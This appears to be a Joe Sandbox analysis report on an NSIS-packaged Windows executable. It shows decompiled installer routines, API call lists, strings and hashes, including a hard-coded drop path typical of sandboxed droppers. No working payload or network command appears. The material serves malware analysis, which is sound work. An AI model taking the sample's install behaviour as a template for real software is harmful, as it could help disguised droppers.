                                      							_t60 = SetFilePointer(_v16, _t82, _t82, 1); // executed
                                      							 *(_t94 + 0x3c) = _t60;
                                      							E00405CF9(0x42a240, _t94 + 4, 0x40);
                                      							__eflags = 0;
                                      							return 0;
                                      						}
                                      						goto L29;
                                      					}
                                      					E004032F5( *0x40ce98);
                                      					_t65 = E004032DF( &_a4, 4);
                                      					__eflags = _t65;
                                      					if(_t65 == 0) {
                                      						goto L29;
                                      					}
                                      					__eflags = _v12 - _a4;
                                      					if(_v12 != _a4) {
                                      						goto L29;
                                      					}
                                      					goto L28;
                                      				} else {
                                      					do {
                                      						_t90 = _t93;
                                      						asm("sbb eax, eax");
                                      						_t70 = ( ~( *0x42a218) & 0x00007e00) + 0x200;
                                      						__eflags = _t93 - _t70;
                                      						if(_t93 >= _t70) {
                                      							_t90 = _t70;
                                      						}
                                      						_t71 = E004032DF(0x418ea8, _t90);
                                      						__eflags = _t71;
                                      						if(_t71 == 0) {
                                      							E00402E5D(1);
                                      							L29:
                                      							return L"Installer integrity check has failed. Common causes include\nincomplete download and damaged media. Contact the\ninstaller\'s author to obtain a new copy.\n\nMore information at:\nhttp://nsis.sf.net/NSIS_Error";
                                      						}
                                      						__eflags =  *0x42a218;
                                      						if( *0x42a218 != 0) {
                                      							__eflags = _a4 & 0x00000002;
                                      							if((_a4 & 0x00000002) == 0) {
                                      								E00402E5D(0);
                                      							}
                                      							goto L20;
                                      						}
                                      						E00405CF9( &_v44, 0x418ea8, 0x1c);
                                      						_t77 = _v44;
                                      						__eflags = _t77 & 0xfffffff0;
                                      						if((_t77 & 0xfffffff0) != 0) {
                                      							goto L20;
                                      						}
                                      						__eflags = _v40 - 0xdeadbeef;
                                      						if(_v40 != 0xdeadbeef) {
                                      							goto L20;
                                      						}
                                      						__eflags = _v28 - 0x74736e49;
                                      						if(_v28 != 0x74736e49) {
                                      							goto L20;
                                      						}
                                      						__eflags = _v32 - 0x74666f73;
                                      						if(_v32 != 0x74666f73) {
                                      							goto L20;
                                      						}
                                      						__eflags = _v36 - 0x6c6c754e;
                                      						if(_v36 != 0x6c6c754e) {
                                      							goto L20;
                                      						}
                                      						_a4 = _a4 | _t77;
                                      						_t87 =  *0x40ce98; // 0x54c3c
                                      						 *0x42a2c0 =  *0x42a2c0 | _a4 & 0x00000002;
                                      						_t80 = _v20;
                                      						__eflags = _t80 - _t93;
                                      						 *0x42a218 = _t87;
                                      						if(_t80 > _t93) {
                                      							goto L29;
                                      						}
                                      						__eflags = _a4 & 0x00000008;
                                      						if((_a4 & 0x00000008) != 0) {
                                      							L16:
                                      							_v8 = _v8 + 1;
                                      							_t24 = _t80 - 4; // 0x40a2dc
                                      							_t93 = _t24;
                                      							__eflags = _t90 - _t93;
                                      							if(_t90 > _t93) {
                                      								_t90 = _t93;
                                      							}
                                      							goto L20;
                                      						}
                                      						__eflags = _a4 & 0x00000004;
                                      						if((_a4 & 0x00000004) != 0) {
                                      							break;
                                      						}
                                      						goto L16;
                                      						L20:
                                      						__eflags = _t93 -  *0x418ea4; // 0x54c40
                                      						if(__eflags < 0) {
                                      							_v12 = E00406719(_v12, 0x418ea8, _t90);
                                      						}
                                      						 *0x40ce98 =  *0x40ce98 + _t90;
                                      						_t93 = _t93 - _t90;
                                      						__eflags = _t93;
                                      					} while (_t93 > 0);
                                      					_t82 = 0;
                                      					__eflags = 0;
                                      					goto L24;
                                      				}
                                      			}































                                      0x00402ec9
                                      0x00402ecc
                                      0x00402ecf
                                      0x00402ed2
                                      0x00402ed8
                                      0x00402ee9
                                      0x00402eee
                                      0x00402f01
                                      0x00402f06
                                      0x00402f09
                                      0x00402f0f
                                      0x00000000
                                      0x00402f11
                                      0x00402f1c
                                      0x00402f22
                                      0x00402f33
                                      0x00402f3a
                                      0x00402f40
                                      0x00402f42
                                      0x00402f47
                                      0x00402f49
                                      0x00403036
                                      0x00403038
                                      0x0040303d
                                      0x00403044
                                      0x00000000
                                      0x00000000
                                      0x00403046
                                      0x00403049
                                      0x0040306d
                                      0x00403072
                                      0x00403078
                                      0x00403083
                                      0x00403088
                                      0x0040308b
                                      0x0040308c
                                      0x0040308d
                                      0x0040308f
                                      0x00403094
                                      0x00403097
                                      0x004030aa
                                      0x004030ae
                                      0x004030b6
                                      0x004030bb
                                      0x004030bd
                                      0x004030bd
                                      0x004030bd
                                      0x004030c5
                                      0x004030c5
                                      0x004030c8
                                      0x004030c9
                                      0x004030c9
                                      0x004030cc
                                      0x004030ce
                                      0x004030ce
                                      0x004030ce
                                      0x004030d8
                                      0x004030de
                                      0x004030ec
                                      0x004030f1
                                      0x00000000
                                      0x004030f1
                                      0x00000000
                                      0x00403097
                                      0x00403051
                                      0x0040305c
                                      0x00403061
                                      0x00403063
                                      0x00000000
                                      0x00000000
                                      0x00403068
                                      0x0040306b
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00402f4f
                                      0x00402f54
                                      0x00402f59
                                      0x00402f5d
                                      0x00402f64
                                      0x00402f69
                                      0x00402f6b
                                      0x00402f6d
                                      0x00402f6d
                                      0x00402f71
                                      0x00402f76
                                      0x00402f78
                                      0x004030a2
                                      0x00403099
                                      0x00000000
                                      0x00403099
                                      0x00402f7e
                                      0x00402f85
                                      0x00403001
                                      0x00403005
                                      0x00403009
                                      0x0040300e
                                      0x00000000
                                      0x00403005
                                      0x00402f8e
                                      0x00402f93
                                      0x00402f96
                                      0x00402f9b
                                      0x00000000
                                      0x00000000
                                      0x00402f9d
                                      0x00402fa4
                                      0x00000000
                                      0x00000000
                                      0x00402fa6
                                      0x00402fad
                                      0x00000000
                                      0x00000000
                                      0x00402faf
                                      0x00402fb6
                                      0x00000000
                                      0x00000000
                                      0x00402fb8
                                      0x00402fbf
                                      0x00000000
                                      0x00000000
                                      0x00402fc1
                                      0x00402fc7
                                      0x00402fd0
                                      0x00402fd6
                                      0x00402fd9
                                      0x00402fdb
                                      0x00402fe1
                                      0x00000000
                                      0x00000000
                                      0x00402fe7
                                      0x00402feb
                                      0x00402ff3
                                      0x00402ff3
                                      0x00402ff6
                                      0x00402ff6
                                      0x00402ff9
                                      0x00402ffb
                                      0x00402ffd
                                      0x00402ffd
                                      0x00000000
                                      0x00402ffb
                                      0x00402fed
                                      0x00402ff1
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040300f
                                      0x0040300f
                                      0x00403015
                                      0x00403021
                                      0x00403021
                                      0x00403024
                                      0x0040302a
                                      0x0040302c
                                      0x0040302c
                                      0x00403034
                                      0x00403034
                                      0x00000000
                                      0x00403034

                                      APIs
                                      • GetTickCount.KERNEL32 ref: 00402ED2
                                      • GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\zpeu.exe,00000400,?,00000006,00000008,0000000A), ref: 00402EEE
                                        • Part of subcall function 00405D3E: GetFileAttributesW.KERNELBASE(?,00402F01,C:\Users\user\Desktop\zpeu.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00405D42
                                        • Part of subcall function 00405D3E: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,00000006,00000008,0000000A), ref: 00405D64
                                      • GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\zpeu.exe,C:\Users\user\Desktop\zpeu.exe,80000000,00000003,?,00000006,00000008,0000000A), ref: 00402F3A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: File$AttributesCountCreateModuleNameSizeTick
                                      • String ID: "C:\Users\user\Desktop\zpeu.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\zpeu.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
                                      • API String ID: 4283519449-2786538370
                                      • Opcode ID: f1834550daec702275e8430a9050beb8303241b1a1e67c97a0945f4f5965c092
                                      • Instruction ID: c18f197c65803053ad6b90da34fb4f59cecbc903e05eff4d530fc012fb388881
                                      • Opcode Fuzzy Hash: f1834550daec702275e8430a9050beb8303241b1a1e67c97a0945f4f5965c092
                                      • Instruction Fuzzy Hash: 3E51F271A01205AFDB209F65DD85B9E7EA8EB04319F10407BF904B72D5CB788E818BAD
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 436 40626e-406279 437 40627b-40628a 436->437 438 40628c-4062a2 436->438 437->438 439 4062a8-4062b5 438->439 440 4064ba-4064c0 438->440 439->440 443 4062bb-4062c2 439->443 441 4064c6-4064d1 440->441 442 4062c7-4062d4 440->442 444 4064d3-4064d7 call 40624c 441->444 445 4064dc-4064dd 441->445 442->441 446 4062da-4062e6 442->446 443->440 444->445 448 4064a7 446->448 449 4062ec-40632a 446->449 450 4064b5-4064b8 448->450 451 4064a9-4064b3 448->451 452 406330-40633b 449->452 453 40644a-40644e 449->453 450->440 451->440 454 406354 452->454 455 40633d-406342 452->455 456 406450-406456 453->456 457 406481-406485 453->457 461 40635b-406362 454->461 455->454 458 406344-406347 455->458 459 406466-406472 call 40624c 456->459 460 406458-406464 call 406193 456->460 462 406494-4064a5 lstrlenW 457->462 463 406487-40648f call 40626e 457->463 458->454 464 406349-40634c 458->464 474 406477-40647d 459->474 460->474 466 406364-406366 461->466 467 406367-406369 461->467 462->440 463->462 464->454 470 40634e-406352 464->470 466->467 472 4063a4-4063a7 467->472 473 40636b-406389 call 40611a 467->473 470->461 477 4063b7-4063ba 472->477 478 4063a9-4063b5 GetSystemDirectoryW 472->478 482 40638e-406392 473->482 474->462 476 40647f 474->476 483 406442-406448 call 4064e0 476->483 480 406425-406427 477->480 481 4063bc-4063ca GetWindowsDirectoryW 477->481 479 406429-40642d 478->479 479->483 488 40642f 479->488 480->479 485 4063cc-4063d6 480->485 481->480 486 406432-406435 482->486 487 406398-40639f call 40626e 482->487 483->462 490 4063f0-406406 SHGetSpecialFolderLocation 485->490 491 4063d8-4063db 485->491 486->483 493 406437-40643d lstrcatW 486->493 487->479 488->486 495 406421 490->495 496 406408-40641f SHGetPathFromIDListW CoTaskMemFree 490->496 491->490 494 4063dd-4063e4 491->494 493->483 498 4063ec-4063ee 494->498 495->480 496->479 496->495 498->479 498->490
                                      C-Code - Quality: 72%
                                      			E0040626E(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8) {
                                      				signed int _v8;
                                      				struct _ITEMIDLIST* _v12;
                                      				signed int _v16;
                                      				signed int _v20;
                                      				signed int _v24;
                                      				signed int _v28;
                                      				signed int _t43;
                                      				WCHAR* _t44;
                                      				signed char _t46;
                                      				signed int _t47;
                                      				signed int _t48;
                                      				short _t58;
                                      				short _t60;
                                      				short _t62;
                                      				void* _t70;
                                      				signed int _t76;
                                      				void* _t82;
                                      				signed char _t83;
                                      				short _t86;
                                      				signed int _t96;
                                      				void* _t102;
                                      				short _t103;
                                      				signed int _t106;
                                      				signed int _t108;
                                      				void* _t109;
                                      				WCHAR* _t110;
                                      				void* _t112;
                                      
                                      				_t109 = __esi;
                                      				_t102 = __edi;
                                      				_t70 = __ebx;
                                      				_t43 = _a8;
                                      				if(_t43 < 0) {
                                      					_t43 =  *( *0x4291dc - 4 + _t43 * 4);
                                      				}
                                      				_push(_t70);
                                      				_push(_t109);
                                      				_push(_t102);
                                      				_t96 =  *0x42a258 + _t43 * 2;
                                      				_t44 = 0x4281a0;
                                      				_t110 = 0x4281a0;
                                      				if(_a4 >= 0x4281a0 && _a4 - 0x4281a0 >> 1 < 0x800) {
                                      					_t110 = _a4;
                                      					_a4 = _a4 & 0x00000000;
                                      				}
                                      				while(1) {
                                      					_t103 =  *_t96;
                                      					if(_t103 == 0) {
                                      						break;
                                      					}
                                      					__eflags = (_t110 - _t44 & 0xfffffffe) - 0x800;
                                      					if((_t110 - _t44 & 0xfffffffe) >= 0x800) {
                                      						break;
                                      					}
                                      					_t82 = 2;
                                      					_t96 = _t96 + _t82;
                                      					__eflags = _t103 - 4;
                                      					_a8 = _t96;
                                      					if(__eflags >= 0) {
                                      						if(__eflags != 0) {
                                      							 *_t110 = _t103;
                                      							_t110 = _t110 + _t82;
                                      							__eflags = _t110;
                                      						} else {
                                      							 *_t110 =  *_t96;
                                      							_t110 = _t110 + _t82;
                                      							_t96 = _t96 + _t82;
                                      						}
                                      						continue;
                                      					}
                                      					_t83 =  *((intOrPtr*)(_t96 + 1));
                                      					_t46 =  *_t96;
                                      					_t47 = _t46 & 0x000000ff;
                                      					_v8 = (_t83 & 0x0000007f) << 0x00000007 | _t46 & 0x0000007f;
                                      					_a8 = _a8 + 2;
                                      					_v28 = _t47 | 0x00008000;
                                      					_v24 = _t47;
                                      					_t76 = _t83 & 0x000000ff;
                                      					_v16 = _t76;
                                      					__eflags = _t103 - 2;
                                      					_v20 = _t76 | 0x00008000;
                                      					if(_t103 != 2) {
                                      						__eflags = _t103 - 3;
                                      						if(_t103 != 3) {
                                      							__eflags = _t103 - 1;
                                      							if(_t103 == 1) {
                                      								__eflags = (_t47 | 0xffffffff) - _v8;
                                      								E0040626E(_t76, _t103, _t110, _t110, (_t47 | 0xffffffff) - _v8);
                                      							}
                                      							L43:
                                      							_t48 = lstrlenW(_t110);
                                      							_t96 = _a8;
                                      							_t110 =  &(_t110[_t48]);
                                      							_t44 = 0x4281a0;
                                      							continue;
                                      						}
                                      						_t106 = _v8;
                                      						__eflags = _t106 - 0x1d;
                                      						if(_t106 != 0x1d) {
                                      							__eflags = (_t106 << 0xb) + 0x42b000;
                                      							E0040624C(_t110, (_t106 << 0xb) + 0x42b000);
                                      						} else {
                                      							E00406193(_t110,  *0x42a208);
                                      						}
                                      						__eflags = _t106 + 0xffffffeb - 7;
                                      						if(_t106 + 0xffffffeb < 7) {
                                      							L34:
                                      							E004064E0(_t110);
                                      						}
                                      						goto L43;
                                      					}
                                      					_t86 =  *0x42a20c;
                                      					__eflags = _t86;
                                      					_t108 = 2;
                                      					if(_t86 >= 0) {
                                      						L13:
                                      						_v8 = 1;
                                      						L14:
                                      						__eflags =  *0x42a2a4;
                                      						if( *0x42a2a4 != 0) {
                                      							_t108 = 4;
                                      						}
                                      						__eflags = _t47;
                                      						if(__eflags >= 0) {
                                      							__eflags = _t47 - 0x25;
                                      							if(_t47 != 0x25) {
                                      								__eflags = _t47 - 0x24;
                                      								if(_t47 == 0x24) {
                                      									GetWindowsDirectoryW(_t110, 0x400);
                                      									_t108 = 0;
                                      								}
                                      								while(1) {
                                      									__eflags = _t108;
                                      									if(_t108 == 0) {
                                      										goto L30;
                                      									}
                                      									_t58 =  *0x42a204;
                                      									_t108 = _t108 - 1;
                                      									__eflags = _t58;
                                      									if(_t58 == 0) {
                                      										L26:
                                      										_t60 = SHGetSpecialFolderLocation( *0x42a208,  *(_t112 + _t108 * 4 - 0x18),  &_v12);
                                      										__eflags = _t60;
                                      										if(_t60 != 0) {
                                      											L28:
                                      											 *_t110 =  *_t110 & 0x00000000;
                                      											__eflags =  *_t110;
                                      											continue;
                                      										}
                                      										__imp__SHGetPathFromIDListW(_v12, _t110);
                                      										__imp__CoTaskMemFree(_v12);
                                      										__eflags = _t60;
                                      										if(_t60 != 0) {
                                      											goto L30;
                                      										}
                                      										goto L28;
                                      									}
                                      									__eflags = _v8;
                                      									if(_v8 == 0) {
                                      										goto L26;
                                      									}
                                      									_t62 =  *_t58( *0x42a208,  *(_t112 + _t108 * 4 - 0x18), 0, 0, _t110); // executed
                                      									__eflags = _t62;
                                      									if(_t62 == 0) {
                                      										goto L30;
                                      									}
                                      									goto L26;
                                      								}
                                      								goto L30;
                                      							}
                                      							GetSystemDirectoryW(_t110, 0x400);
                                      							goto L30;
                                      						} else {
                                      							E0040611A( *0x42a258, __eflags, 0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion",  *0x42a258 + (_t47 & 0x0000003f) * 2, _t110, _t47 & 0x00000040); // executed
                                      							__eflags =  *_t110;
                                      							if( *_t110 != 0) {
                                      								L32:
                                      								__eflags = _t76 - 0x1a;
                                      								if(_t76 == 0x1a) {
                                      									lstrcatW(_t110, L"\\Microsoft\\Internet Explorer\\Quick Launch");
                                      								}
                                      								goto L34;
                                      							}
                                      							E0040626E(_t76, _t108, _t110, _t110, _t76);
                                      							L30:
                                      							__eflags =  *_t110;
                                      							if( *_t110 == 0) {
                                      								goto L34;
                                      							}
                                      							_t76 = _v16;
                                      							goto L32;
                                      						}
                                      					}
                                      					__eflags = _t86 - 0x5a04;
                                      					if(_t86 == 0x5a04) {
                                      						goto L13;
                                      					}
                                      					__eflags = _t76 - 0x23;
                                      					if(_t76 == 0x23) {
                                      						goto L13;
                                      					}
                                      					__eflags = _t76 - 0x2e;
                                      					if(_t76 == 0x2e) {
                                      						goto L13;
                                      					} else {
                                      						_v8 = _v8 & 0x00000000;
                                      						goto L14;
                                      					}
                                      				}
                                      				 *_t110 =  *_t110 & 0x00000000;
                                      				if(_a4 == 0) {
                                      					return _t44;
                                      				}
                                      				return E0040624C(_a4, _t44);
                                      			}






























                                      0x0040626e
                                      0x0040626e
                                      0x0040626e
                                      0x00406274
                                      0x00406279
                                      0x0040628a
                                      0x0040628a
                                      0x00406292
                                      0x00406293
                                      0x00406294
                                      0x00406295
                                      0x00406298
                                      0x004062a0
                                      0x004062a2
                                      0x004062bb
                                      0x004062be
                                      0x004062be
                                      0x004064ba
                                      0x004064ba
                                      0x004064c0
                                      0x00000000
                                      0x00000000
                                      0x004062ce
                                      0x004062d4
                                      0x00000000
                                      0x00000000
                                      0x004062dc
                                      0x004062dd
                                      0x004062df
                                      0x004062e3
                                      0x004062e6
                                      0x004064a7
                                      0x004064b5
                                      0x004064b8
                                      0x004064b8
                                      0x004064a9
                                      0x004064ac
                                      0x004064af
                                      0x004064b1
                                      0x004064b1
                                      0x00000000
                                      0x004064a7
                                      0x004062ec
                                      0x004062ef
                                      0x004062fe
                                      0x00406305
                                      0x0040630f
                                      0x00406313
                                      0x00406316
                                      0x00406319
                                      0x0040631e
                                      0x00406323
                                      0x00406327
                                      0x0040632a
                                      0x0040644a
                                      0x0040644e
                                      0x00406481
                                      0x00406485
                                      0x0040648a
                                      0x0040648f
                                      0x0040648f
                                      0x00406494
                                      0x00406495
                                      0x0040649a
                                      0x0040649d
                                      0x004064a0
                                      0x00000000
                                      0x004064a0
                                      0x00406450
                                      0x00406453
                                      0x00406456
                                      0x0040646b
                                      0x00406472
                                      0x00406458
                                      0x0040645f
                                      0x0040645f
                                      0x0040647a
                                      0x0040647d
                                      0x00406442
                                      0x00406443
                                      0x00406443
                                      0x00000000
                                      0x0040647d
                                      0x00406330
                                      0x00406338
                                      0x0040633a
                                      0x0040633b
                                      0x00406354
                                      0x00406354
                                      0x0040635b
                                      0x0040635b
                                      0x00406362
                                      0x00406366
                                      0x00406366
                                      0x00406367
                                      0x00406369
                                      0x004063a4
                                      0x004063a7
                                      0x004063b7
                                      0x004063ba
                                      0x004063c2
                                      0x004063c8
                                      0x004063c8
                                      0x00406425
                                      0x00406425
                                      0x00406427
                                      0x00000000
                                      0x00000000
                                      0x004063cc
                                      0x004063d3
                                      0x004063d4
                                      0x004063d6
                                      0x004063f0
                                      0x004063fe
                                      0x00406404
                                      0x00406406
                                      0x00406421
                                      0x00406421
                                      0x00406421
                                      0x00000000
                                      0x00406421
                                      0x0040640c
                                      0x00406417
                                      0x0040641d
                                      0x0040641f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040641f
                                      0x004063d8
                                      0x004063db
                                      0x00000000
                                      0x00000000
                                      0x004063ea
                                      0x004063ec
                                      0x004063ee
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x004063ee
                                      0x00000000
                                      0x00406425
                                      0x004063af
                                      0x00000000
                                      0x0040636b
                                      0x00406389
                                      0x0040638e
                                      0x00406392
                                      0x00406432
                                      0x00406432
                                      0x00406435
                                      0x0040643d
                                      0x0040643d
                                      0x00000000
                                      0x00406435
                                      0x0040639a
                                      0x00406429
                                      0x00406429
                                      0x0040642d
                                      0x00000000
                                      0x00000000
                                      0x0040642f
                                      0x00000000
                                      0x0040642f
                                      0x00406369
                                      0x0040633d
                                      0x00406342
                                      0x00000000
                                      0x00000000
                                      0x00406344
                                      0x00406347
                                      0x00000000
                                      0x00000000
                                      0x00406349
                                      0x0040634c
                                      0x00000000
                                      0x0040634e
                                      0x0040634e
                                      0x00000000
                                      0x0040634e
                                      0x0040634c
                                      0x004064c6
                                      0x004064d1
                                      0x004064dd
                                      0x004064dd
                                      0x00000000

                                      APIs
                                      • GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004063AF
                                      • GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,?,004052E7,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000), ref: 004063C2
                                      • SHGetSpecialFolderLocation.SHELL32(004052E7,00410EA0,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,?,004052E7,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000), ref: 004063FE
                                      • SHGetPathFromIDListW.SHELL32(00410EA0,Call), ref: 0040640C
                                      • CoTaskMemFree.OLE32(00410EA0), ref: 00406417
                                      • lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 0040643D
                                      • lstrlenW.KERNEL32(Call,00000000,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,?,004052E7,Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll,00000000), ref: 00406495
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
                                      • String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                      • API String ID: 717251189-2032417437
                                      • Opcode ID: 5ac7d34cae972a88d7e271cc5c0f960f95d4283ece9e7c17a9ddda12c5cbf51a
                                      • Instruction ID: 1d846ac168704965e63d6b1540e117b92082746421250facdf4000baa2e8fd31
                                      • Opcode Fuzzy Hash: 5ac7d34cae972a88d7e271cc5c0f960f95d4283ece9e7c17a9ddda12c5cbf51a
                                      • Instruction Fuzzy Hash: 8F610E71A00105ABDF249F64CC40AAE37A9EF50314F62813FE943BA2D0D77D49A2C79E
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 563 40176f-401794 call 402c37 call 405b94 568 401796-40179c call 40624c 563->568 569 40179e-4017b0 call 40624c call 405b1d lstrcatW 563->569 574 4017b5-4017b6 call 4064e0 568->574 569->574 578 4017bb-4017bf 574->578 579 4017c1-4017cb call 40658f 578->579 580 4017f2-4017f5 578->580 587 4017dd-4017ef 579->587 588 4017cd-4017db CompareFileTime 579->588 581 4017f7-4017f8 call 405d19 580->581 582 4017fd-401819 call 405d3e 580->582 581->582 590 40181b-40181e 582->590 591 40188d-4018b6 call 4052b0 call 4030fa 582->591 587->580 588->587 592 401820-40185e call 40624c * 2 call 40626e call 40624c call 4058ae 590->592 593 40186f-401879 call 4052b0 590->593 603 4018b8-4018bc 591->603 604 4018be-4018ca SetFileTime 591->604 592->578 625 401864-401865 592->625 605 401882-401888 593->605 603->604 607 4018d0-4018db CloseHandle 603->607 604->607 608 402ac8 605->608 611 4018e1-4018e4 607->611 612 402abf-402ac2 607->612 613 402aca-402ace 608->613 615 4018e6-4018f7 call 40626e lstrcatW 611->615 616 4018f9-4018fc call 40626e 611->616 612->608 622 401901-4022f6 call 4058ae 615->622 616->622 622->613 625->605 627 401867-401868 625->627 627->593
                                      C-Code - Quality: 61%
                                      			E0040176F(FILETIME* __ebx, void* __eflags) {
                                      				void* __edi;
                                      				void* _t35;
                                      				void* _t43;
                                      				void* _t45;
                                      				FILETIME* _t51;
                                      				FILETIME* _t64;
                                      				void* _t66;
                                      				signed int _t72;
                                      				FILETIME* _t73;
                                      				FILETIME* _t77;
                                      				signed int _t79;
                                      				void* _t81;
                                      				void* _t82;
                                      				WCHAR* _t84;
                                      				void* _t86;
                                      
                                      				_t77 = __ebx;
                                      				 *(_t86 - 8) = E00402C37(0x31);
                                      				 *(_t86 + 8) =  *(_t86 - 0x28) & 0x00000007;
                                      				_t35 = E00405B94( *(_t86 - 8));
                                      				_push( *(_t86 - 8));
                                      				_t84 = L"Call";
                                      				if(_t35 == 0) {
                                      					lstrcatW(E00405B1D(E0040624C(_t84, L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth")), ??);
                                      				} else {
                                      					E0040624C();
                                      				}
                                      				E004064E0(_t84);
                                      				while(1) {
                                      					__eflags =  *(_t86 + 8) - 3;
                                      					if( *(_t86 + 8) >= 3) {
                                      						_t66 = E0040658F(_t84);
                                      						_t79 = 0;
                                      						__eflags = _t66 - _t77;
                                      						if(_t66 != _t77) {
                                      							_t73 = _t66 + 0x14;
                                      							__eflags = _t73;
                                      							_t79 = CompareFileTime(_t73, _t86 - 0x1c);
                                      						}
                                      						asm("sbb eax, eax");
                                      						_t72 =  ~(( *(_t86 + 8) + 0xfffffffd | 0x80000000) & _t79) + 1;
                                      						__eflags = _t72;
                                      						 *(_t86 + 8) = _t72;
                                      					}
                                      					__eflags =  *(_t86 + 8) - _t77;
                                      					if( *(_t86 + 8) == _t77) {
                                      						E00405D19(_t84);
                                      					}
                                      					__eflags =  *(_t86 + 8) - 1;
                                      					_t43 = E00405D3E(_t84, 0x40000000, (0 |  *(_t86 + 8) != 0x00000001) + 1);
                                      					__eflags = _t43 - 0xffffffff;
                                      					 *(_t86 - 0x30) = _t43;
                                      					if(_t43 != 0xffffffff) {
                                      						break;
                                      					}
                                      					__eflags =  *(_t86 + 8) - _t77;
                                      					if( *(_t86 + 8) != _t77) {
                                      						E004052B0(0xffffffe2,  *(_t86 - 8));
                                      						__eflags =  *(_t86 + 8) - 2;
                                      						if(__eflags == 0) {
                                      							 *((intOrPtr*)(_t86 - 4)) = 1;
                                      						}
                                      						L31:
                                      						 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t86 - 4));
                                      						__eflags =  *0x42a2a8;
                                      						goto L32;
                                      					} else {
